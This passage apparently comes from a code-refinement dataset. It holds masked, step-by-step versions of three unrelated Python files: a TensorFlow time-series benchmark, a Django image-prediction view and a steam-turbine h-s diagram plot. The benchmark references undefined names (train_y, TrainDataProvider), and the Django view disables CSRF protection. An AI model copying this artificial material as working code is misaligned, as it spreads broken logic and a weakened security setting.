TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n",
"step-4": "import datetime\nimport numpy as np\nimport tensorflow as tf\nfrom alphai_time_series.performance_trials.performance import Metrics\nimport alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval\nimport alphai_cromulon_oracle.cromulon.train as crocubot_train\nfrom alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions\nfrom alphai_cromulon_oracle.cromulon.model import CrocuBotModel\nfrom alphai_feature_generation.classifier import BinDistribution\nfrom alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource\nfrom alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration\nimport examples.iotools as io\nfrom examples.benchmark.helpers import print_time_info\nfrom examples.helpers import D_TYPE, load_default_topology\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n",
"step-5": "import datetime\n\nimport numpy as np\nimport tensorflow as tf\nfrom alphai_time_series.performance_trials.performance import Metrics\n\nimport alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval\nimport alphai_cromulon_oracle.cromulon.train as crocubot_train\n\nfrom alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions\nfrom alphai_cromulon_oracle.cromulon.model import CrocuBotModel\nfrom alphai_feature_generation.classifier import BinDistribution\nfrom alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource\nfrom alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration\n\nimport examples.iotools as io\nfrom examples.benchmark.helpers import print_time_info\nfrom examples.helpers import D_TYPE, load_default_topology\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n\n topology = load_default_topology(series_name, tf_flags)\n\n # First need to establish bin edges using full training set\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n\n bin_distribution = _create_bin_distribution(series_name, n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message=\"Training {} with do_train: {}\".format(series_name, int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n\n data_provider = TrainDataProviderForDataSource(\n series_name,\n D_TYPE,\n n_train_samples,\n batch_size,\n True,\n bin_distribution.bin_edges\n )\n\n\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.batch_size)\n\n tensorflow_path = TensorflowPath(save_path, tf_flags.model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.tensorboard_log_path,\n tf_flags.learning_rate,\n batch_size,\n execution_time\n )\n crocubot_train.train(topology,\n data_provider,\n tensorflow_path,\n tensorboard_options,\n tf_flags\n )\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n\n train_time, _ = execute_and_get_duration(_do_training)\n\n print(\"Training complete.\")\n\n eval_time, _ = execute_and_get_duration(evaluate_network, topology, series_name, batch_size,\n save_path, bin_distribution, tf_flags)\n\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message=\"Evaluation of Stocastic Series\")\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist, tf_flags):\n\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, batch_size, False)\n\n test_features, test_labels = data_provider.get_batch(1)\n\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology, tf_flags, save_path)\n\n estimated_means, estimated_covariance = crocubot_eval.forecast_means_and_variance(\n binned_outputs, bin_dist, tf_flags)\n test_labels = np.squeeze(test_labels)\n\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(\n data_provider.data_source,\n test_labels,\n estimated_means,\n estimated_covariance\n )\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
from django.shortcuts import render
from PIL import Image
from django.views.decorators import csrf
import numpy as np
import re
import sys
import os
from .utils import *
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
import base64
sys.path.append(os.path.abspath("./models"))
OUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')
from PIL import Image
from io import BytesIO
def getI420FromBase64(codec):
base64_data = re.sub('^data:image/.+;base64,', '', codec)
byte_data = base64.b64decode(base64_data)
image_data = BytesIO(byte_data)
img = Image.open(image_data)
img.save(OUTPUT)
def convertImage(imgData):
getI420FromBase64(imgData)
@csrf_exempt
def predict(request):
imgData = request.POST.get('img')
convertImage(imgData)
x = Image.open(OUTPUT)
x = x.convert('L')
x = x.resize((32,32))
x.save(OUTPUT)
x = np.array(x)
x = x.reshape(1,32,32,1)
model, graph = init()
out = model.predict(x)
response = np.array(np.argmax(out, axis=1))
return JsonResponse({"output": str(response[0]) })
def index(request):
return render(request, 'index.html', { "imagestr" : "static/hindi_characters/1.png"})
|
normal
|
{
"blob_id": "b84b3206e87176feee2c39fc0866ada994c9ac7a",
"index": 8655,
"step-1": "<mask token>\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n<mask token>\n",
"step-2": "<mask token>\nsys.path.append(os.path.abspath('./models'))\n<mask token>\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n",
"step-3": "<mask token>\nsys.path.append(os.path.abspath('./models'))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\n<mask token>\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n",
"step-4": "from django.shortcuts import render\nfrom PIL import Image\nfrom django.views.decorators import csrf\nimport numpy as np\nimport re\nimport sys\nimport os\nfrom .utils import *\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport base64\nsys.path.append(os.path.abspath('./models'))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\nfrom PIL import Image\nfrom io import BytesIO\n\n\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32, 32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1, 32, 32, 1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({'output': str(response[0])})\n\n\ndef index(request):\n return render(request, 'index.html', {'imagestr':\n 'static/hindi_characters/1.png'})\n",
"step-5": "from django.shortcuts import render\nfrom PIL import Image\nfrom django.views.decorators import csrf\nimport numpy as np\nimport re\nimport sys\nimport os\nfrom .utils import *\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport base64\nsys.path.append(os.path.abspath(\"./models\"))\nOUTPUT = os.path.join(os.path.dirname(__file__), 'output.png')\nfrom PIL import Image\nfrom io import BytesIO\ndef getI420FromBase64(codec):\n base64_data = re.sub('^data:image/.+;base64,', '', codec)\n byte_data = base64.b64decode(base64_data)\n image_data = BytesIO(byte_data)\n img = Image.open(image_data)\n img.save(OUTPUT)\n\n\ndef convertImage(imgData):\n getI420FromBase64(imgData)\n\n@csrf_exempt\ndef predict(request):\n imgData = request.POST.get('img')\n convertImage(imgData)\n x = Image.open(OUTPUT)\n x = x.convert('L')\n x = x.resize((32,32))\n x.save(OUTPUT)\n x = np.array(x)\n x = x.reshape(1,32,32,1)\n model, graph = init()\n out = model.predict(x)\n response = np.array(np.argmax(out, axis=1))\n return JsonResponse({\"output\": str(response[0]) })\n\n\ndef index(request):\n return render(request, 'index.html', { \"imagestr\" : \"static/hindi_characters/1.png\"})\n",
"step-ids": [
1,
5,
6,
7,
8
]
}
|
[
1,
5,
6,
7,
8
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
plt.plot(point_p1_s, point_p1_h, 'bs-')
plt.plot(point_p2_s, point_p2_h, 'bs-')
plt.plot(point_is_s, point_is_h, 'ys-')
plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')
<|reserved_special_token_0|>
plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,
title=_title)
plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.xlabel('s(kJ/(kg.K))')
plt.ylabel('h(kJ/kg)')
plt.show()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
p1, t1 = 16, 535
p2, t2 = 3.56, 315
h1 = pt2h(p1, t1)
s1 = pt2s(p1, t1)
h2 = pt2h(p2, t2)
s2 = pt2s(p2, t2)
h2s = ps2h(p2, s1)
his = ishd(p1, t1, p2)
ef = ief(p1, t1, p2, t2)
samp = 0.01
smp1 = s1 - samp
hsmp1 = ps2h(p1, smp1)
sap1 = s1 + samp
hsap1 = ps2h(p1, sap1)
smt1 = s1 - samp
hsmt1 = ps2h(p1, smp1)
sat1 = s1 + samp
hsat1 = ts2h(t1, sap1)
point_p1_h = np.zeros(shape=3)
point_p1_h[0] = hsmp1
point_p1_h[1] = h1
point_p1_h[2] = hsap1
point_p1_s = np.zeros(shape=3)
point_p1_s[0] = smp1
point_p1_s[1] = s1
point_p1_s[2] = sap1
smp2 = s1 - samp
hsmp2 = ps2h(p2, smp2)
sap2 = s2 + samp
hsap2 = ps2h(p2, sap2)
smt2 = s2 - samp
hsmt2 = ps2h(p1, smp1)
sat2 = s2 + samp
hsat2 = ts2h(t2, sap1)
point_p2_h = np.zeros(shape=3)
point_p2_h[0] = hsmp2
point_p2_h[1] = h2
point_p2_h[2] = hsap2
point_p2_s = np.zeros(shape=3)
point_p2_s[0] = smp2
point_p2_s[1] = s2
point_p2_s[2] = sap2
point_is_h = np.zeros(shape=2)
point_is_h[0] = h1
point_is_h[1] = h2s
point_is_s = np.zeros(shape=2)
point_is_s[0] = s1
point_is_s[1] = s1
point_hp_h = np.zeros(shape=2)
point_hp_h[0] = h1
point_hp_h[1] = h2
point_hp_s = np.zeros(shape=2)
point_hp_s[0] = s1
point_hp_s[1] = s2
plt.plot(point_p1_s, point_p1_h, 'bs-')
plt.plot(point_p2_s, point_p2_h, 'bs-')
plt.plot(point_is_s, point_is_h, 'ys-')
plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')
_title = ('The isentropic efficiency = ' + '$\\frac{h1-h2}{h1-h2s}$' + '=' +
'{:.2f}'.format(ef) + '%')
plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,
title=_title)
plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.xlabel('s(kJ/(kg.K))')
plt.ylabel('h(kJ/kg)')
plt.show()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
from seuif97 import *
import matplotlib.pyplot as plt
import numpy as np
p1, t1 = 16, 535
p2, t2 = 3.56, 315
h1 = pt2h(p1, t1)
s1 = pt2s(p1, t1)
h2 = pt2h(p2, t2)
s2 = pt2s(p2, t2)
h2s = ps2h(p2, s1)
his = ishd(p1, t1, p2)
ef = ief(p1, t1, p2, t2)
samp = 0.01
smp1 = s1 - samp
hsmp1 = ps2h(p1, smp1)
sap1 = s1 + samp
hsap1 = ps2h(p1, sap1)
smt1 = s1 - samp
hsmt1 = ps2h(p1, smp1)
sat1 = s1 + samp
hsat1 = ts2h(t1, sap1)
point_p1_h = np.zeros(shape=3)
point_p1_h[0] = hsmp1
point_p1_h[1] = h1
point_p1_h[2] = hsap1
point_p1_s = np.zeros(shape=3)
point_p1_s[0] = smp1
point_p1_s[1] = s1
point_p1_s[2] = sap1
smp2 = s1 - samp
hsmp2 = ps2h(p2, smp2)
sap2 = s2 + samp
hsap2 = ps2h(p2, sap2)
smt2 = s2 - samp
hsmt2 = ps2h(p1, smp1)
sat2 = s2 + samp
hsat2 = ts2h(t2, sap1)
point_p2_h = np.zeros(shape=3)
point_p2_h[0] = hsmp2
point_p2_h[1] = h2
point_p2_h[2] = hsap2
point_p2_s = np.zeros(shape=3)
point_p2_s[0] = smp2
point_p2_s[1] = s2
point_p2_s[2] = sap2
point_is_h = np.zeros(shape=2)
point_is_h[0] = h1
point_is_h[1] = h2s
point_is_s = np.zeros(shape=2)
point_is_s[0] = s1
point_is_s[1] = s1
point_hp_h = np.zeros(shape=2)
point_hp_h[0] = h1
point_hp_h[1] = h2
point_hp_s = np.zeros(shape=2)
point_hp_s[0] = s1
point_hp_s[1] = s2
plt.plot(point_p1_s, point_p1_h, 'bs-')
plt.plot(point_p2_s, point_p2_h, 'bs-')
plt.plot(point_is_s, point_is_h, 'ys-')
plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')
_title = ('The isentropic efficiency = ' + '$\\frac{h1-h2}{h1-h2s}$' + '=' +
'{:.2f}'.format(ef) + '%')
plt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,
title=_title)
plt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),
textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=
'->', connectionstyle='arc3,rad=.2'))
plt.xlabel('s(kJ/(kg.K))')
plt.ylabel('h(kJ/kg)')
plt.show()
<|reserved_special_token_1|>
# -*- coding: utf-8 -*-
"""
This is a simple sample for seuif.py
License: this code is in the public domain
Author: Cheng Maohua
Email: [email protected]
Last modified: 2016.4.20
"""
from seuif97 import *
import matplotlib.pyplot as plt
import numpy as np
p1,t1 = 16, 535
p2,t2 = 3.56,315
h1 = pt2h(p1, t1)
s1 = pt2s(p1, t1)
h2 = pt2h(p2, t2)
s2 = pt2s(p2, t2)
h2s = ps2h(p2, s1)
his = ishd(p1, t1, p2)
ef = ief(p1, t1, p2, t2)
# print('The isentropic efficiency is ',ef)
# 4条线:p1、p2 等压,等熵焓降线、膨胀线
samp = 0.01
smp1 = s1 - samp
hsmp1 = ps2h(p1, smp1)
sap1 = s1 + samp
hsap1 = ps2h(p1, sap1)
smt1 = s1 - samp
hsmt1 = ps2h(p1, smp1)
sat1 = s1 + samp
hsat1 = ts2h(t1, sap1)
point_p1_h = np.zeros(shape=3)
point_p1_h[0] = hsmp1
point_p1_h[1] = h1
point_p1_h[2] = hsap1
point_p1_s = np.zeros(shape=3)
point_p1_s[0] = smp1
point_p1_s[1] = s1
point_p1_s[2] = sap1
# p2
smp2 = s1 - samp # 等熵焓降点延伸
hsmp2 = ps2h(p2, smp2)
sap2 = s2 + samp
hsap2 = ps2h(p2, sap2)
smt2 = s2 - samp
hsmt2 = ps2h(p1, smp1)
sat2 = s2 + samp
hsat2 = ts2h(t2, sap1)
point_p2_h = np.zeros(shape=3)
point_p2_h[0] = hsmp2
point_p2_h[1] = h2
point_p2_h[2] = hsap2
point_p2_s = np.zeros(shape=3)
point_p2_s[0] = smp2
point_p2_s[1] = s2
point_p2_s[2] = sap2
# 等熵焓降
point_is_h = np.zeros(shape=2)
point_is_h[0] = h1
point_is_h[1] = h2s
point_is_s = np.zeros(shape=2)
point_is_s[0] = s1
point_is_s[1] = s1
# HP Expansion Line
point_hp_h = np.zeros(shape=2)
point_hp_h[0] = h1
point_hp_h[1] = h2
point_hp_s = np.zeros(shape=2)
point_hp_s[0] = s1
point_hp_s[1] = s2
plt.plot(point_p1_s, point_p1_h, 'bs-')
plt.plot(point_p2_s, point_p2_h, 'bs-')
plt.plot(point_is_s, point_is_h, 'ys-')
plt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')
_title = 'The isentropic efficiency = ' + \
r'$\frac{h1-h2}{h1-h2s}$' + '=' + '{:.2f}'.format(ef) + '%'
plt.legend(loc="best", bbox_to_anchor=[0.5, 0.5],
ncol=2, shadow=True, title=_title)
# annotate some interesting points
plt.annotate('(P1,T1)',
xy=(s1, h1), xycoords='data',
xytext=(+10, +30), textcoords='offset points', fontsize=12,
arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2"))
plt.annotate('(P2,T2)',
xy=(s2, h2), xycoords='data',
xytext=(+10, +30), textcoords='offset points', fontsize=12,
arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2"))
plt.xlabel('s(kJ/(kg.K))')
plt.ylabel('h(kJ/kg)')
plt.show()
|
flexible
|
{
"blob_id": "ebe546794131eddea396bd6b82fbb41aeead4661",
"index": 572,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n<mask token>\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n",
"step-3": "<mask token>\np1, t1 = 16, 535\np2, t2 = 3.56, 315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\nef = ief(p1, t1, p2, t2)\nsamp = 0.01\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\nsmp2 = s1 - samp\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n_title = ('The isentropic efficiency = ' + '$\\\\frac{h1-h2}{h1-h2s}$' + '=' +\n '{:.2f}'.format(ef) + '%')\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n",
"step-4": "<mask token>\nfrom seuif97 import *\nimport matplotlib.pyplot as plt\nimport numpy as np\np1, t1 = 16, 535\np2, t2 = 3.56, 315\nh1 = pt2h(p1, t1)\ns1 = pt2s(p1, t1)\nh2 = pt2h(p2, t2)\ns2 = pt2s(p2, t2)\nh2s = ps2h(p2, s1)\nhis = ishd(p1, t1, p2)\nef = ief(p1, t1, p2, t2)\nsamp = 0.01\nsmp1 = s1 - samp\nhsmp1 = ps2h(p1, smp1)\nsap1 = s1 + samp\nhsap1 = ps2h(p1, sap1)\nsmt1 = s1 - samp\nhsmt1 = ps2h(p1, smp1)\nsat1 = s1 + samp\nhsat1 = ts2h(t1, sap1)\npoint_p1_h = np.zeros(shape=3)\npoint_p1_h[0] = hsmp1\npoint_p1_h[1] = h1\npoint_p1_h[2] = hsap1\npoint_p1_s = np.zeros(shape=3)\npoint_p1_s[0] = smp1\npoint_p1_s[1] = s1\npoint_p1_s[2] = sap1\nsmp2 = s1 - samp\nhsmp2 = ps2h(p2, smp2)\nsap2 = s2 + samp\nhsap2 = ps2h(p2, sap2)\nsmt2 = s2 - samp\nhsmt2 = ps2h(p1, smp1)\nsat2 = s2 + samp\nhsat2 = ts2h(t2, sap1)\npoint_p2_h = np.zeros(shape=3)\npoint_p2_h[0] = hsmp2\npoint_p2_h[1] = h2\npoint_p2_h[2] = hsap2\npoint_p2_s = np.zeros(shape=3)\npoint_p2_s[0] = smp2\npoint_p2_s[1] = s2\npoint_p2_s[2] = sap2\npoint_is_h = np.zeros(shape=2)\npoint_is_h[0] = h1\npoint_is_h[1] = h2s\npoint_is_s = np.zeros(shape=2)\npoint_is_s[0] = s1\npoint_is_s[1] = s1\npoint_hp_h = np.zeros(shape=2)\npoint_hp_h[0] = h1\npoint_hp_h[1] = h2\npoint_hp_s = np.zeros(shape=2)\npoint_hp_s[0] = s1\npoint_hp_s[1] = s2\nplt.plot(point_p1_s, point_p1_h, 'bs-')\nplt.plot(point_p2_s, point_p2_h, 'bs-')\nplt.plot(point_is_s, point_is_h, 'ys-')\nplt.plot(point_hp_s, point_hp_h, 'rs-', label='Expansion Line')\n_title = ('The isentropic efficiency = ' + '$\\\\frac{h1-h2}{h1-h2s}$' + '=' +\n '{:.2f}'.format(ef) + '%')\nplt.legend(loc='best', bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True,\n title=_title)\nplt.annotate('(P1,T1)', xy=(s1, h1), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.annotate('(P2,T2)', xy=(s2, h2), xycoords='data', xytext=(+10, +30),\n textcoords='offset points', fontsize=12, arrowprops=dict(arrowstyle=\n '->', connectionstyle='arc3,rad=.2'))\nplt.xlabel('s(kJ/(kg.K))')\nplt.ylabel('h(kJ/kg)')\nplt.show()\n",
